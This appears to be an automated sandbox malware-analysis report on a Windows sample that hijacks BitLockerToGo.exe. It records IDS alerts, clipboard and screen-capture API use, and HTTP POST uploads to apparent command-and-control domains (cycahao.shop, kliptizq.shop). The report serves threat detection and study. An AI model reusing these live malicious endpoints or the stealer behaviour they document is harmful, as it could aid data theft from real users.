Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49779 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49791 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49801 -> 172.67.135.139:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cycahao.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: cycahao.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J0Q9FYNC6JDNKH0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: cycahao.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=L6ULRPNVME8B47K2ABUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15104Host: cycahao.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TL14N08CP6A2HRYRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19950Host: cycahao.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DKXQRO7HMLDRBQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1203Host: cycahao.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JEIFV1BFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 557861Host: cycahao.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: cycahao.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: cycahao.shop
Source: global traffic	DNS traffic detected: DNS query: kliptizq.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cycahao.shop

Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000005.00000003.2483486401.0000000004E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000005.00000003.2484806953.0000000004E21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000005.00000003.2484806953.0000000004E21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycahao.shop/
Source: BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycahao.shop/6
Source: BitLockerToGo.exe, 00000005.00000003.2591167208.0000000004E1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cycahao.shop/api
Source: BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycahao.shop/apiVr
Source: BitLockerToGo.exe, 00000005.00000003.2459772417.0000000004E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cycahao.shop/apibMMCEY
Source: BitLockerToGo.exe, 00000005.00000003.2459772417.0000000004E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cycahao.shop/apivVa
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000005.00000003.2484806953.0000000004E21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: BitLockerToGo.exe, 00000005.00000003.2591711975.0000000000745000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2592310542.0000000000745000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2592834954.0000000000745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/
Source: BitLockerToGo.exe, 00000005.00000003.2591711975.0000000000745000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2592310542.0000000000745000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2592834954.0000000000745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txt
Source: BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txt9:
Source: BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txtz1
Source: BitLockerToGo.exe, 00000005.00000003.2484501874.0000000005135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000005.00000003.2484501874.0000000005135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000005.00000003.2484425080.0000000004E2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: BitLockerToGo.exe, 00000005.00000003.2484425080.0000000004E2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: BitLockerToGo.exe, 00000005.00000003.2484501874.0000000005135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: BitLockerToGo.exe, 00000005.00000003.2484501874.0000000005135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BitLockerToGo.exe, 00000005.00000003.2484501874.0000000005135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000005.00000003.2484806953.0000000004E21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49801 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_00481190 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_00481190

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_00481190 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_00481190

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_004817B8 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

5_2_004817B8

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.2391539251.0000000009F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047B824	5_2_0047B824
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00465890	5_2_00465890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00486950	5_2_00486950
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048DA40	5_2_0048DA40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046CA00	5_2_0046CA00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0045DA13	5_2_0045DA13
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004732A0	5_2_004732A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048E3C0	5_2_0048E3C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004623E0	5_2_004623E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00487500	5_2_00487500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00475E00	5_2_00475E00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00471620	5_2_00471620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0045AEC0	5_2_0045AEC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004897E0	5_2_004897E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046F790	5_2_0046F790
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048E040	5_2_0048E040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00462058	5_2_00462058
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00461876	5_2_00461876
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00469804	5_2_00469804
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048C820	5_2_0048C820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047C82E	5_2_0047C82E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047C8C9	5_2_0047C8C9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004590D0	5_2_004590D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004650DD	5_2_004650DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046E0E0	5_2_0046E0E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004760F0	5_2_004760F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048408D	5_2_0048408D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046A0A0	5_2_0046A0A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004790BA	5_2_004790BA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0045A950	5_2_0045A950
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00473960	5_2_00473960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00486160	5_2_00486160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00467175	5_2_00467175
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00455970	5_2_00455970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047B81F	5_2_0047B81F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00453930	5_2_00453930
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048C930	5_2_0048C930
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047C93D	5_2_0047C93D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00478716	5_2_00478716
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004721F0	5_2_004721F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004781FB	5_2_004781FB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046D190	5_2_0046D190
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00458250	5_2_00458250
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00456260	5_2_00456260
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048C271	5_2_0048C271
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046DA00	5_2_0046DA00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00484A23	5_2_00484A23
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0045D2C3	5_2_0045D2C3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004542E0	5_2_004542E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00487290	5_2_00487290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00487B60	5_2_00487B60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048CB20	5_2_0048CB20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00467BC3	5_2_00467BC3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048CBC0	5_2_0048CBC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004753D0	5_2_004753D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00479BF0	5_2_00479BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048538D	5_2_0048538D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00468C46	5_2_00468C46
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00489C40	5_2_00489C40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00466C76	5_2_00466C76
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00473C00	5_2_00473C00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00454C10	5_2_00454C10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00476C35	5_2_00476C35
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004574D0	5_2_004574D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046DCD0	5_2_0046DCD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047B4EE	5_2_0047B4EE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046C492	5_2_0046C492
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0045EC90	5_2_0045EC90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00459490	5_2_00459490
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046849D	5_2_0046849D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047CCB9	5_2_0047CCB9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046E500	5_2_0046E500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048DD00	5_2_0048DD00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046B510	5_2_0046B510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00480D10	5_2_00480D10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00487D29	5_2_00487D29
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00464DAF	5_2_00464DAF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047F640	5_2_0047F640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0047760D	5_2_0047760D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00466628	5_2_00466628
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00473E32	5_2_00473E32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00455EC0	5_2_00455EC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00465EEF	5_2_00465EEF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004566F0	5_2_004566F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00489EF0	5_2_00489EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00480F40	5_2_00480F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00464752	5_2_00464752
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0046E770	5_2_0046E770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00452F00	5_2_00452F00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00485F00	5_2_00485F00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00478716	5_2_00478716
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00475730	5_2_00475730
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004687C1	5_2_004687C1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_004767EF	5_2_004767EF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00476F8F	5_2_00476F8F

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00464730 appears 71 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00458060 appears 37 times

Source: 6wFwugeLNG.exe, 00000000.00000000.2139501872.0000000001570000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs 6wFwugeLNG.exe
